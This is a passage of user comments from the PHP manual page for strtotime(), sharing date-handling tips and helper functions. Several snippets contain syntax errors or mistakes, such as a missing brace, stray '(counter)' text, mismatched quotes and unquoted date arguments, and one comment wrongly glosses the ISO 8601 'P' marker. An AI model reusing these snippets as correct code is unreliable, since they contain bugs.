    if ($minutes == 1) $timepast = $minutes." minute";
  return $timepast;
}

$date('2011/07/15');
$time('15:00:00');
echo time_ago($date,$time);

?>
Annomoys 11-Jun-2011 03:43
Strtotime() can be used to loop through date range.
as follows

<?php
$start = strtotime('2009-02-01');
$end = strtotime('2009-03-10');
$date = $start;
while($date < $end)
{

   //write your code here
   $date = strtotime("+1 day", $date);(counter)

}

?>
Ayumi Yu 07-May-2011 03:33
Using PHP 5.3.2-1ubuntu4.7, I observed some strangeness with strtotime, it seemed to misinterpret dates with periods:

$formatted = date( 'Y-m-d H:i:s', strtotime($anyFormat) );

This would sometimes return '1970-01-01 00:00:00' (timestamp of 0), or the current day with different times attached. The dates were being misinterpreted as times, which are accepted in the format of ( 't'? HH [.:] MM [.:] II ), and the date was assumed to be the current date. In other cases when the times were invalid (e.g. in 2010.03.01, HH = 2010 > 24), I got a timestamp of 0.

Fix: Replace dots with slashes, then call date with that.

$fixedAnyFormat = str_replace( '.', '/', $anyFormat );
usrhlp 03-May-2011 09:20
When trying the following code

<?php echo("date("l jS \o\f F Y",strtotime("2011-05-01"))"); ?>

i was getting the output

"Tuesday 3rd o May 2011".

I found that in order to get the word "of" i needed to double escape the f so i used this code instead which works.

<?php echo("date("l jS \o\\f F Y",strtotime("2011-05-01"))"); ?>
peterson at npd dot ufsc dot br 08-Apr-2011 01:38
A function to add two times, without using the explode function

<?php

$hour_one = "01:20:20";
$hour_two = "05:50:20";
$h =  strtotime($hour_one);
$h2 = strtotime($hour_two);

$minute = date("i", $h2);
$second = date("s", $h2);
$hour = date("H", $h2);

echo "<br>";

$convert = strtotime("+$minute minutes", $h);
$convert = strtotime("+$second seconds", $convert);
$convert = strtotime("+$hour hours", $convert);
$new_time = date('H:i:s', $convert);

echo $new_time;

?>
Anonymous 01-Mar-2011 08:17
PHP strtotime() does not handle the ISO8601 notation for "duration."  This handles the most likely subset of the duration standard (the one that is used by eBay).
<?php // RAY_duration_strtotime.php
error_reporting(E_ALL);
date_default_timezone_set('America/New_York');

// WHAT DOES THIS STRING MEAN?
$str = 'P1Y3M2DT16H2M40S';

// IT IS THE ISO8601 FORMAT FOR A DURATION.
// SEE http://en.wikipedia.org/wiki/ISO_8601

// IT MEANS THIS:
// P   = Pending (INDICATOR OF ISO8601 DURATION)
// 1Y  = 1 Year
// 3M  = 3 Months
// 2D  = Two Days
// T   = Time Separator (M is ambiguous)
// 16H = Sixteen hours
// 2M  = Two minutes
// 40S = Forty seconds

// STRTOTIME CANNOT HANDLE ISO-8601 DURATIONS
$dur = strtotime($str);
var_dump($dur);
echo "<br/>";

// GET THE DURATION IN SECONDS FOR USE IN ARITHMETIC
$dur = duration_strtotime($str);
echo "<br/>" . number_format($dur) . ' SECONDS';

// USE THE DURATION IN ARITHMETIC
echo "<br/>" . date('r', strtotime("NOW + $dur SECONDS"));

// A FUNCTION TO MAKE A DURATION STRING INTO A NUMBER OF SECONDS
function duration_strtotime($str, $sho=FALSE)
{
    // REMOVE THE AMBIGUITY OF MONTH AND MINUTE -- MAKE MONTH = X
    $arr = explode('T', $str);
    $arr[0] = str_replace('M', 'X', $arr[0]);
    $new = implode('T', $arr);

    // EXPAND THE STRING INTO SOMETHING SENSIBLE
    $new = str_replace('S', 'seconds ', $new);
    $new = str_replace('M', 'minutes ', $new);
    $new = str_replace('H', 'hours ',   $new);
    $new = str_replace('T', ' ',        $new);
    $new = str_replace('D', 'days',     $new);
    $new = str_replace('X', 'months ',  $new);
    $new = str_replace('Y', 'years ',   $new);
    $new = str_replace('P', NULL,       $new);

    if ($sho) var_dump($new);

    // RETURN THE NUMBER OF SECONDS IN THE DURATION
    return strtotime($new) - strtotime('NOW');
}
?>
adarsh at freedomsites dot co dot uk 28-Feb-2011 05:46
Function to add duration to time

<?php
function addTime($start_time, $duration)    {
    list($dhrs, $dmin, $dsec)    = explode(':',$duration);
    return date('H:i:s', strtotime($start_time.' '.'+'.$dhrs.' hours,'. $dmin.' minutes,' .$dsec. ' seconds'));
}
?>
a dot fruchi at bit-runners dot com 17-Feb-2011 05:45
If you want to confront a date stored into mysql as a date field (not a datetime) and a date specified by a literal string, be sure to add "midnight" to the literal string, otherwise they won't match:

<?php
//I.E.: today is 17/02/2011

echo strtotime('2011-01-01'); //1293836400
echo strtotime('first day of last month'); //1293888128 Note: it's different from the previous one, since it computes also the seconds passed from midnight!!! So this one is always greater than simple '2011-01-01'
echo strtotime('midnight first day of last monty');//1293836400 Note: it's the same as '2011-01-01'

?>
nick at optixsolutions dot co dot uk 10-Feb-2011 09:36
Function to add days (excluding specified days/dates)

<?php
function addDays($timestamp, $days, $skipdays=NULL, $skipdates=NULL){
    // $skipdays: array (Monday-Sunday) eg. array("Saturday","Sunday")
    // $skipdates: array (YYYY-mm-dd) eg. array("2012-05-02","2015-08-01");
    $i = 1;

    while($days >= $i){
        $timestamp = strtotime("+1 day" ,$timestamp);
        if(in_array(date("l",$timestamp), $skipdays) || in_array(date("Y-m-d",$timestamp), $skipdates)){
            $days++;
        }
        $i++;
    }

    return $timestamp;
}
?>

I use this in combination with the calculateBankHolidays function in the notes here: http://php.net/manual/en/ref.calendar.php to skip working days in the UK:

<?php
$skipdays = array("Saturday","Sunday");
$skipdates = array_merge(calculateBankHolidays(date("Y")), calculateBankHolidays(date("Y", strtotime("+1 year"))));

$ts = addDays(strtotime("now"), 1, $skipdays, $skipdates);
?>
nyctimus at yahoo dot com 05-Jan-2011 05:54
strtotime() produces different output on 32 and 64 bit systems running PHP 5.3.3 (as mentioned previously).  This affects the "zero date" ("0000-00-00 00:00:00") as well as dates outside the traditional 32 date range.

strtotime("0000-00-00 00:00:00") returns FALSE on a 32 bit system.
strtotime("0000-00-00 00:00:00") returns -62169955200 on a 64 bit system.
x at xero dot nu 21-Dec-2010 09:41
strtotime is awesome for converting dates.
in this example i will make an RSS date, an
ATOM date, then convert them to a human
readable m/d/Y dates.

<?php
$rss = date("r");
$atom = date("c");
$human1 = date('m/d/Y', strtotime($rss));
$human2 = date('m/d/Y', strtotime($atom));

echo $rss."<br />".$atom."<br />".$human1."<br />".$human2;
?>
ash at itsash dot co dot uk 05-Nov-2010 09:24
I find myself using strtotime() 90% of the time when working with date formats. However there are times when strtotime() doesn't work how I want it to. I have created a DateTime class which contains a couple of useful methods feel free to use it.

Please remember as of PHP 5. there is a standard class called "DateTime", thus why my class is called PHPDateTime and it just simply extends PHP's DateTime class with some public static methods.

If you are not using php 5, just replce "final class PHPDateTime extends DateTime" with "final class DateTime". I assume you all know the double colon scope? for those whom don't it's simply.

<?php
// this will give us 2010-02-28 ()
echo PHPDateTime::DateNextMonth(strftime('%F', strtotime("2010-01-31 00:00:00")), 31);
?>

The class is as follows....

<?php
/**
 * IA FrameWork
 * @package: Classes & Object Oriented Programming
 * @subpackage: Date & Time Manipulation
 * @author: ItsAsh <ash at itsash dot co dot uk>
 */

final class PHPDateTime extends DateTime {

    // Public Methods
    // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    /**
     * Calculate time difference between two dates
     * ...
     */

    public static function TimeDifference($date1, $date2)
        $date1 = is_int($date1) ? $date1 : strtotime($date1);
        $date2 = is_int($date2) ? $date2 : strtotime($date2);

        if (($date1 !== false) && ($date2 !== false)) {
            if ($date2 >= $date1) {
                $diff = ($date2 - $date1);

                if ($days = intval((floor($diff / 86400))))
                    $diff %= 86400;
                if ($hours = intval((floor($diff / 3600))))
                    $diff %= 3600;
                if ($minutes = intval((floor($diff / 60))))
                    $diff %= 60;

                return array($days, $hours, $minutes, intval($diff));
            }
        }

        return false;
    }

    /**
     * Formatted time difference between two dates
     *
     * ...
     */

    public static function StringTimeDifference($date1, $date2) {
        $i = array();
        list($d, $h, $m, $s) = (array) self::TimeDifference($date1, $date2);

        if ($d > 0)
            $i[] = sprintf('%d Days', $d);
        if ($h > 0)
            $i[] = sprintf('%d Hours', $h);
        if (($d == 0) && ($m > 0))
            $i[] = sprintf('%d Minutes', $m);
        if (($h == 0) && ($s > 0))
            $i[] = sprintf('%d Seconds', $s);

        return count($i) ? implode(' ', $i) : 'Just Now';
    }

    /**
     * Calculate the date next month
     *
     * ...
     */

    public static function DateNextMonth($now, $date = 0) {
        $mdate = array(0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
        list($y, $m, $d) = explode('-', (is_int($now) ? strftime('%F', $now) : $now));

        if ($date)
            $d = $date;

        if (++$m == 2)
            $d = (($y % 4) === 0) ? (($d <= 29) ? $d : 29) : (($d <= 28) ? $d : 28);
        else
            $d = ($d <= $mdate[$m]) ? $d : $mdate[$m];

        return strftime('%F', mktime(0, 0, 0, $m, $d, $y));
    }

}
?>
marcodemaio at vanylla dot it 27-Oct-2010 11:09
NOTE: strttotime returns wrong values (or guessed values) when the Week day does not macth the date.
Simple example:

<?php
$d1 = strtotime("26 Oct 0010 12:00:00 +0100");
$d2 = strtotime("Tue, 26 Oct 0010 12:00:00 +0100");
$d3 = strtotime("Sun, 26 Oct 0010 12:00:00 +0100"); //But Oct 26 is a Tuesday, NOT a Sunday.

echo $d1; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d2; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d3; //WRONG! 1288522800 that is "31 Ott 2010 - 11:00";
?>

Sometime I found RSS feeds that contains week days that do not match the date.

A possible solution is to remove useless week day before passing the date string into strtime, example:

<?php
   $date_string = "Sun, 26 Oct 0010 12:00:00 +0100";
   if( ($comma_pos = strpos($date_string, ',')) !== FALSE )
      $date_string = substr($date_string, $comma_pos + 1);
   $d3 = strtotime($date_string);
?>
Nolan Grupe 29-Sep-2010 12:53
If you're trying to make Saturday (or any other day for that matter) the first day of the week to select datasets,  here's a good workaround:

<?php
$last_sat=date("z", strtotime("last Saturday"));
$second_last_sat=date("z", strtotime("last Saturday-1 week"));
?>

then just query your database like so:

select everything since last saturday:
SELECT whatever.whatever from wherever WHERE DAYOFYEAR(complete) <= DAYOFYEAR(CURDATE()) AND DAYOFYEAR(complete) > ".$last_sat."

the week before (beginning on a saturday):
SELECT whatever.whatever from wherever WHERE  DAYOFYEAR(complete) <= ".$last_sat." AND DAYOFYEAR(complete) > ".$second_last_sat."

Good luck!
sam at frontiermedia dot net dot au 28-Sep-2010 03:23
I've had a little trouble with this function in the past because (as some people have pointed out) you can't really set a locale for strtotime. If you're American, you see 11/12/10 and think "12 November, 2010". If you're Australian (or European), you think it's 11 December, 2010. If you're a sysadmin who reads in ISO, it looks like 10th December 2011.

The best way to compensate for this is by modifying your joining characters. Forward slash (/) signifies American M/D/Y formatting, a dash (-) signifies European D-M-Y and a period (.) signifies ISO Y.M.D.

Observe:

<?php
echo date("jS F, Y", strtotime("11.12.10"));
// outputs 10th December, 2011

echo date("jS F, Y", strtotime("11/12/10"));
// outputs 12th November, 2010

echo date("jS F, Y", strtotime("11-12-10"));
// outputs 11th December, 2010
?>

Hope this helps someone!
Tim 18-Sep-2010 09:52
Unlike "yesterday 14:00", "14:00 yesterday" will return 00:00 of yesterday.  Here's a function that'll fix that:

<?php
function fix_strtotime($date)
{
    if(preg_match('/([012]?[0-9]?:[0-5]{1}\d\s*[aA|pP]?[mM]?)(\s+)(.+)/', $date, $matches))
    {
        return strtotime($matches[3] . $matches[2] . $matches[1]);
    }
    return strtotime($date);
}
echo date('Y-m-d H:i:s', fix_strtotime('14:00 yesterday')); // 2010-09-17 14:00:00
echo date('Y-m-d H:i:s', fix_strtotime('yesterday 14:00')); // 2010-09-17 14:00:00
?>
jerramw at gmail dot com 25-Aug-2010 09:32
One liner to get end of financial year (EFY)

<?php
$efy = ($efy = mktime(0,0,0,7,1,date('Y'))) > time() ? --$efy:strtotime('+1 year', --$efy);

echo date('d/m/y H:i:s',$efy);
// 30/06/11 23:59:59
?>

I use 1 July as the test date, so it should work if you run it at say 11.59pm June 30. Should be right, ymmv.
jamon at clearsightdesign dot com 10-Aug-2010 12:42
Here's a PHP function to find the next valid weekday. Modify as necessary for your needs.

- Jamon Holmgren

<?php
    /**
     *    next_weekday() - finds the next valid weekday given a timestamp.
     *    $next_weekday = valid_weekday($timestamp);
     *
     *    By Jamon Holmgren.
     *
     *    @return int
     */
    function next_weekday($timestamp = NULL) {
        if($timestamp === NULL) $timestamp = time();
        $next = strtotime("midnight +1 day", $timestamp);
        $d = getdate($next);
        if($d['wday'] == 0 || $d['wday'] == 6) $next = strtotime("midnight next monday", $timestamp);
        return $next;
    }
?>
Stefan Kunstmann 30-Jul-2010 06:32
UK dates (eg. 27/05/1990) won't work with strotime, even with timezone properly set.
However, if you just replace "/" with "-" it will work fine.
<?php
$timestamp = strtotime(str_replace('/', '-', '27/05/1990'));
?>
jim dot leek at eng dot ox dot ac dot uk 19-Jul-2010 04:20
Don't be tempted to use strtotime to compare dates:

e.g.

<?php
    // Calculate the difference in days.
    $date1 = strtotime(2010-10-10);
    $date2 = strtotime(2011-12-01);
    $daysDiff = ($date2 - $date1)/(24 * 60 * 60);

    // Which is the latest?
    if ($date2 > $date1) {
      echo "$date2 is later than $date1";
    }
?>

If you do, your code will be susceptible to the 2038 bug.

(This is because Unix timestamps cannot deal with dates before Fri, 13 Dec 1901 20:45:54 UTC and after Tue, 19 Jan 2038 03:14:07 UTC).

Instead convert your dates to Julian dates, and compare those. (For example use the function GregorianToJD which has been available since PHP4).
prajo74 at gmail dot com 13-Jul-2010 08:59
Take Care: strtotime() may not add months properly. The out put may not be as expected.

<?php echo '<br />'.date("Y-m-d", strtotime('+1 month', mktime(0,0,0,1,31,2010))); ?>

PHP Output - 2010-03-03 (Version 5.3.2) (Not Expected)

MySQL Output while adding 1 month to 2010-01-31 will be 2010-02-28 (As Expeced)
erjiang at indiana dot edu 09-Jul-2010 12:42
Be careful when parsing years.  If you pass a 4-digit number to strtotime, it will first try to interpret it as a time of day.  If it's an invalid time of day, it will interpret it as a year.

For example:

"0" through "999" => Unix epoch
"1000" => Today, 10:00:00
"1959" => Today, 19:59:00
"1960" => Today's month, day, and time in the year 1960

Tested on PHP 5.2.10
ceo at l-i-e dot com 17-Jun-2010 11:59
Apparently, somebody has decided that US-centric dates use '/' as separator, while Euro-centric use '-'.

Compare output of:
<?php
echo date('F d Y', strtotime('5-1-2010'));
echo date('F d Y', strtotime('5/1/2010'));
?>
xanderl 11-May-2010 01:27
A Quick reference of accepted input:

Numeric steps (+1, -1 ...)
Numeric date/time (Y-m-d, H:i:s)
Ordinal names / numbers [first - twelfth = 1 - 12] *
Special ordinal name / numbers (last = -1, this = 0, next = 1)
Special words (tomorrow, yesterday, ago, fortnight, now, today, day, week, month, year, hour, minute, min, second, sec) **
Days / months [sunday - saterday, sun - sat, January - December, Jan - Dec]
Timezones (TZ="...")

* second is reserved for seconds in time notation, therefore is not allowed here
** plurals are also allowed by adding an 's'
support at esoweb dot eu 06-May-2010 08:47
This an example of recurrence days.

This function return a recurrence day per week during a period.
Exemple: All Thurday starting from 06 May 2010 during 52 weeks.

<?php
//function
function nextWeeksDay($date_begin,$nbrweek)
{
$nextweek=array();
for($i = 1; $i <= $nbrweek; $i++)  { // 52 week in one year of course
$nextweek[$i]=date('D d M Y', strtotime('+'.$i.' week',$date_begin));
}
return $nextweek;
}
/// end function
/// example of a select date
// var
$date_begin = strtotime('06-05-2010'); //D Day Month Year  - like function format.
$nbrweek=52;
// call function
$result=nextWeeksDay($date_begin,$nbrweek);
// Preview
for($i = 1; $i <= $nbrweek; $i++)  {
echo '<br> - '.$result[$i];
}
?>
A dot Lepe dev+php at alepe dot com 25-Apr-2010 08:11
This is a quick function to calculate the "working days" within a period of one year. "Working days" are those without weekends and without the holidays specified in the $holiday array. I left for the reader its implementation for more than 1 year.
<?php
/*
 * Author: Alberto Lepe
 * Calculates the working days from today to an specific date.
 * NOTE: counting starts from today
 * @pararm to_date: timestamp
 */
function get_working_days($to_date) {
    $holidays = array(
        1 => array(10), //2011 ...
        2 => array(11),
        3 => array(21), //... 2011
        4 => array(29,30), //2010 ...
        5 => array(3,4,5),
        6 => array(),
        7 => array(19),
        8 => array(11,12,13),
        9 => array(20,23),
       10 => array(11),
       11 => array(3,23),
       12 => array(23) //... 2010
    );

    for($to_date, $w = 0, $i = 0, $x = time(); $x < $to_date; $i++, $x = strtotime("+$i day")) {
       if(date("N",$x) < 6 &! in_array(date("j",$x),$holidays[date("n",$x)])) $w++;
    }
    return $w;
}

//Usage:
echo get_working_days(strtotime("2011-01-08"));
?>
kovzol at particio dot com 23-Apr-2010 04:19
strtotime(NULL) will give different outputs in PHP 4.4.4 (Debian Linux 4.0) and PHP 5.2.6 (Debian Linux 5.0). The first case gives the number of seconds for today from epoch (1970-01-01), but the second one gives no output.

As a consequence, the following code gives the current year in PHP 4.4.4, but it gives 1970 in PHP 5.2.6:

<?php
 echo date("Y", strtotime(NULL));
?>

As a workaround,

<?php
 echo date("Y", strtotime("now"));
?>

will work for both versions well.
ariunbayar 20-Apr-2010 05:03
if you looking for next 31 here it is for PHP5.3
<?php
$d = 31;
$now = strtotime('2010-06-02');
while (date('t', $now) < $d){
  $now = strtotime('last day of next month', $now);
}
echo date('Y-m-'.$d, $now);
?>
will output "2010-07-31".
nparslow at gmail dot com 07-Apr-2010 05:31
Here is a basic example of a version that works for people outside of the US:

<?php
function strtotime_nonus($date)
{
    if(is_null($date) or ($date == ""))
        return False;
    // break out components with '/', maximum of 3 elements
    $components = explode("/", $date, 3);
    $count = count($components);
    if($count > 1) // There is a slash
    {
        $tmp = $components[0]; // Swap first and second components
        $components[0] = $components[1];
        $components[1] = $tmp;
    }
    return strtotime(implode("/",$components)); // Put back together
}
?>
clarkDONTSPAMMEwise at gmail dot com 28-Mar-2010 09:31
Always use the format strtotime("+1 day") when adding/subtracting units of time rather than manually adding 24*60*60 seconds to a timestamp, for example, as this format works as desired with Daylight Saving Time changes. If your timezone adheres to Daylight Saving Time, a situation like the following may apply to you:

<?php
date_default_timezone_set('America/Chicago');

// Don't do this:
$today = '2009-11-01';
$tomorrow = strtotime($today) + 24*3600;
print date('Y-m-d', $tomorrow);
// Output: 2009-11-01

// Do this instead:
$today = '2009-11-01';
$tomorrow = strtotime('+1 day', strtotime($today));
print date('Y-m-d', $tomorrow);
// Output: 2009-11-02
Alex Austin 16-Mar-2010 08:18
Seems in PHP5 there are new values that can be passed to the function:

<?php
echo time();
echo '<br>';
echo strtotime('noon');
echo '<br>';
echo strtotime('midnight');
echo '<br>';
echo strtotime('10am');
echo '<br>';
echo strtotime('2pm');
?>
karim at sweetcode dot co dot uk 24-Feb-2010 04:17
A handy function I wrote to tell you whether a given date (unix timestamp) is a working day in the UK. i.e. not a bank holiday or weekend day. Returns true or false.

<?php
function isUkWorkingDay( $utDate )
  {
    /* weekend? */
    if( date( 'N', $utDate ) > 5 ){
      return false;
    }

    /* bank holiday? */
    $year = date( 'Y', $utDate );

    $utFirstJan = strtotime( '1st jan ' . $year );

    $firstJanDay = date( 'N',  $utFirstJan );

    if ( $firstJanDay > 5 ){ // sat or sun
      $holidays[] = date( 'Y-m-d', strtotime( 'first monday january ' . $year ));
    }
    else{
      $holidays[] = date( 'Y-m-d',  $utFirstJan) ;
    }

    $utEasterSunday = easter_date( $year );
    $holidays[] = date( 'Y-m-d', strtotime( 'last friday', $utEasterSunday ));
    $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $utEasterSunday ));
    $holidays[] = date( 'Y-m-d', strtotime( 'first monday may ' . $year ));
    $holidays[] = date( 'Y-m-d', strtotime( 'last monday june ' . $year )); // end of may B.H.
    $holidays[] = date( 'Y-m-d', strtotime( 'last monday september ' . $year ));  // end of August B.H.

    $xmasDay = date( strtotime( '25th december ' . $year ) );
    if ( date( 'N', $xmasDay ) == 5 ){ // falls on friday
      $holidays[] = date( 'Y-m-d', $xmasDay );
      $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $xmasDay ));
    }
    if ( date( 'N', $xmasDay ) > 5 ){ // falls on sat or sun
      $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $xmasDay ));
      $holidays[] = date( 'Y-m-d', strtotime( 'next tuesday', $xmasDay ));
    }
    if ( date( 'N', $xmasDay ) < 5 ){ // falls on mon to thurs
      $holidays[] = date( 'Y-m-d', $xmasDay );
      $holidays[] = date( 'Y-m-d', strtotime( 'next day', $xmasDay ));
    }

    return( !in_array( date( 'Y-m-d', $utDate ), $holidays ) ) ;
  }
?>
octavio 17-Feb-2010 02:47
This function calculates if date2 is within an interval of seconds from date1.

<?php
function is_on_interval($date1,$date2,$interval){
    $dat2=strtotime($date2);
    $dat3=strtotime('+'.$interval.' second '.$date1);

    if($dat2>=$dat3){
        return false;
    }
    else
    {
        return true;
    }
}

$date1='2009-08-18 00:02:00';
$date2='2009-08-18 00:05:00';
?>

$date2 is 180 seconds from $date1.

<?php is_on_interval($date1,$date2,'120'); ?>
will return false.

<?php is_on_interval($date1,$date2,'180'); ?>
will return true.

<?php is_on_interval($date1,$date2,'220'); ?>
will return true.
Adam J. Forster 11-Feb-2010 07:08
You can use strtotime to get the date of the last day of the previous month:

<?php
    date("Y-m-d", strtotime("2010-03-00")); #Returns 2010-02-28
?>
katylava at gmail dot com 08-Feb-2010 11:04
You should play around with strtotime() before you decide what it can't do.  for example:

<?php

# on 2/8/2010
date('m/d/y', strtotime('first day')); # 02/01/10
date('m/d/y', strtotime('last day')); # 02/28/10
date('m/d/y', strtotime('last day next month')); # 03/31/10
date('m/d/y', strtotime('last day last month')); # 01/31/10
date('m/d/y', strtotime('2009-12 last day')); # 12/31/09 - this doesn't work if you reverse the order of the year and month
date('m/d/y', strtotime('2009-03 last day')); # 03/31/09
date('m/d/y', strtotime('2009-03')); # 03/01/09
date('m/d/y', strtotime('last day of march 2009')); # 03/31/09
date('m/d/y', strtotime('last day of march')); # 03/31/10
?>
emig647 at yahoo.com 18-Dec-2009 12:23
Some have added their fixes for adding 1 month to a time. The problem I find with other fixes is if you are on the 30th (10-30-09) of a month that isn't the last day and add one month to their time, it goes to 1 day less than the last day of the previous month's day. (11-29-09).

Here is my fix for adding 1 month so it's equal to of the previous month day or the last day of the month if it's less than the previous month day.

<?php

$anniversary = "2008-09-30";
$newChargeDate = strtotime($anniversary);
$newChargeDate = addRealMonth($newChargeDate);

print date("Y-m-j", $newChargeDate);

//////////////////////////////////////////////////////
// Get the last day of the month
function lastDayOfMonth($month = '', $year = '')
{
   if (empty($month)) {
      $month = date('m');
   }
   if (empty($year)) {
      $year = date('Y');
   }
   $result = strtotime("{$year}-{$month}-01");
   $result = strtotime('-1 second', strtotime('+1 month', $result));
   return date('Y-m-d', $result);
}

function addRealMonth($timeStamp)
{
    // Check if it's the end of the year and the month and year need to be changed
    $tempMonth = date('m', $timeStamp);
    $tempYear  = date('Y', $timeStamp);
    if($tempMonth == "12")
    {
        $tempMonth = 1;
        $tempYear++;
    }
    else
        $tempMonth++;

    $newDate = lastDayOfMonth($tempMonth, $tempYear);
    return strtotime($newDate);
}

?>

This will output 2008-10-30. Or 2009-02-28 if the $anniversary is 2009-01-30. Hope this helps!
kendsnyder at gmail dot com 06-Nov-2009 09:54
Watch out when using strtotime() on a string that might begin with "0000-00-00" as MySQL stores "null" dates on a not-null date column. The value returned by strtotime("0000-00-00") varies by php version. Consider the following:

<?php
date('Y-m-d',strtotime('0000-00-00 00:00:00'));
// returns "1969-12-31" on the following versions:
//   Win XP php 5.2.9-2
//   Win 7 php 5.3.0
//   RHEL 5 php 5.2.8
// but returns "-0001-11-30" on RHEL 5 php 5.2.10!

// consider checking for "zero" dates. e.g.:
function formatDate($format,$dateStr) {
  if (trim($dateStr) == '' || substr($dateStr,0,10) == '0000-00-00') {
    return '';
  }
  $ts = strtotime($dateStr);
  if ($ts === false) {
    return '';
  }
  return date($format,$ts);
}
?>
Leon F. 03-Nov-2009 06:58
I needed to generate timestamps for specific days of the week in a month (e.g. the 2nd wednesday or the 3rd friday).  After messing about with different syntax, I found this works pretty consistently:

<?php
strtotime('+0 week sun nov 2009'); // first sunday in nov 2009
strtotime('+1 week sun nov 2009'); // second sunday
strtotime('-1 week sun nov 2009'); // last sunday in oct 2009
?>

This is helping me considerably in parsing ical spec's RRULE sets for example.
heiko dot dressler at dresden-it dot de 22-Oct-2009 08:27
here is a simple function to compare dates and build ranges.
<?php
$germanDates = array('10.10.2009','25.12.2009',
'01.02.2009','11.10.2009',
'12.10.2009','13.10.2009',
'11.10.2010','01.03.2010',
'28.02.2010');

$DateArray = array();
$rangeArray=array();
foreach($germanDates as $Index=>$Date)
{
    // create timestamp from german date [ easy :-) ]
    $DateArray[$Date]= strtotime($Date);

}
// sort timestamps
asort($DateArray);
// read the array and create ranges
$RangeIndex = 0;
$Counter = 0;
$ReadDateStamp = 0;
foreach($DateArray as $Index=>$Datum)
{
    if($Counter<=0)
    {
        // init first value and create range array
        $rangeArray[$RangeIndex][$Index]=$Datum;

    }else{
        // compare new date mit Readstamp
        $Diff = $Datum - $ReadDateStamp;
        if($Diff != 86400)
        {
            $RangeIndex++;
        }
        $rangeArray[$RangeIndex][$Index]=$Datum;
    }
    $ReadDateStamp = $Datum;
    $Counter++;
}

?>
86400 = 1 day
kooshal at live dot com 21-Oct-2009 06:59
when using PHP 5.3, you must use date_default_timezone_set() to set the time zone otherwise you will get warning similar to this (if you have display_errors=On)—

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Asia/Dubai' for '4.0/no DST' instead in path/to/php/script.php
on line ##

Example:
date_default_timezone_set('Indian/Mauritius');

For a list of supported timezones in PHP, see http://www.php.net/manual/en/timezones.php
flexibill2001 at hotmail dot com 09-Oct-2009 12:38
lot of people said that there is bug in strtotime method like given in this example:

<?php echo date( "Y-m-d", strtotime( "2009-01-31 +1 months" ) )."<br>"; ?>

this gives 03-03-2009 instead of 28-02-2009

here is work arround for this bug.

<?php
/// n=no of months  , $y =year, $m = month, $d = day , $t = + or -

function NewMonthDate($n,$y,$m,$d,$t)
    {

        for($i=1; $i <= $n; $i++)
            {
            if($t=="+")
                {
                $pmonth=$m+$i;
                }
            if($t=="-")
                {
                $pmonth=$m-$i;
                }

        $pyear=$y;
        $aa=1;

        /////////////////this will show lastmonth//////////////
        $lastmonth = mktime(0, 0, 0, $pmonth, $aa,  $pyear);

         $smonth=date("m",$lastmonth);
         $syear=date("Y",$lastmonth);
         $ndays=date("t",$lastmonth);
        $valarray=array($smonth,$syear,$ndays);

        $mm=$mm+$ndays;

            }

        $basedate="$pyear-$m-$d";
        $date2 = strtotime("$basedate $t$mm days");

        $date1=date("d-m-Y",$date2);
        return  $date1;

    }   ////

$n=1;
$y=2009;
$m=01;
$d=31;
$t="+";

$rr=NewMonthDate($n,$y,$m,$d,$t);
print_r($rr);
?>
Anonymous 05-Oct-2009 03:47
This function DOES NOT work from left-to-right as one would think. This function parses the string as a whole, then applies the intervals by size (year, month, ...). Take the following example:

<?php
$Date = strtotime('2011-02-22'); // February 22nd, 2011. 28 days in this month, 29 next year.
echo date('n/j/Y', strtotime('+1 year, +7 days', $Date)); // add 1 year and 7 days. prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+7 days, +1 year', $Date)); // add 7 days and 1 year, but this also prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+1 year', strtotime('+7 days', $Date))); // this prints 3/1/2012, what the 2nd would do if it was left-to-right
?>
chris at teamsiems dot com 08-Sep-2009 10:20
It took me a while to notice that strtotime starts searching from just after midnight of the first day of the month. So, if the month starts on the day you search for, the first day of the search is actually the next occurrence of the day.

In my case, when I look for first Tuesday of the current month, I need to include a check to see if the month starts on a Tuesday.

<?php
if (date("l", strtotime("$thisMonth $thisYear"))=='Tuesday') {
  echo "<p>This month starts on a Tuesday. Use \"$thisMonth $thisYear\" to check for first Tuesday.</p>\n";
} else {
  echo "<p>This month does not start on a Tuesday. Use \"first tuesday $thisMonth $thisYear\" to check for first Tuesday.</p>\n";
}
?>
michal dot kocarek at brainbox dot cz 07-Aug-2009 06:35
strtotime() also returns time by year and weeknumber. (I use PHP 5.2.8, PHP 4 does not support it.) Queries can be in two forms:
- "yyyyWww", where yyyy is 4-digit year, W is literal and ww is 2-digit weeknumber. Returns timestamp for first day of week (for me Monday)
- "yyyy-Www-d", where yyyy is 4-digit year, W is literal, ww is 2-digit weeknumber and dd is day of week (1 for Monday, 7 for Sunday)

<?php
// Get timestamp of 32nd week in 2009.
strtotime('2009W32'); // returns timestamp for Mon, 03 Aug 2009 00:00:00
// Weeknumbers < 10 must be padded with zero:
strtotime('2009W01'); // returns timestamp for Mon, 29 Dec 2008 00:00:00
// strtotime('2009W1'); // error! returns false

// See timestamp for Tuesday in 5th week of 2008
strtotime('2008-W05-2'); // returns timestamp for Tue, 29 Jan 2008 00:00:00
?>

Weeknumbers are (probably) computed according to ISO-8601 specification, so doing date('W') on given timestamps should return passed weeknumber.
Travis Pulley 06-Aug-2009 12:11
Be aware that if you are running 5.2.8, there is a memory leak with this function and it could cost someone valuable time finding out what the problem was. Per usual, running the latest (minor) version tends to be a good idea.

See here: http://bugs.php.net/bug.php?id=46889
php at davidstockton dot com 30-Jul-2009 09:04
Adding a note to an already long page:

Try to be as specific as you can with the string you pass in.  For example

<?php
echo date('F', strtotime('February'));
?>

is not specific enough.  Depending on the day of the month, you may get a different response.  For a non-leap year, you'll get March if the _current day of the month_ is the 29th, 30th or 31st.  If it's a leap year, you'll get March on the 30th or 31st of the month.  The same thing will happen on the 31st of any month when you pass in the name of any month with less than 31 days.  This happens because the strtotime() function will fill in missing parts from the current day.

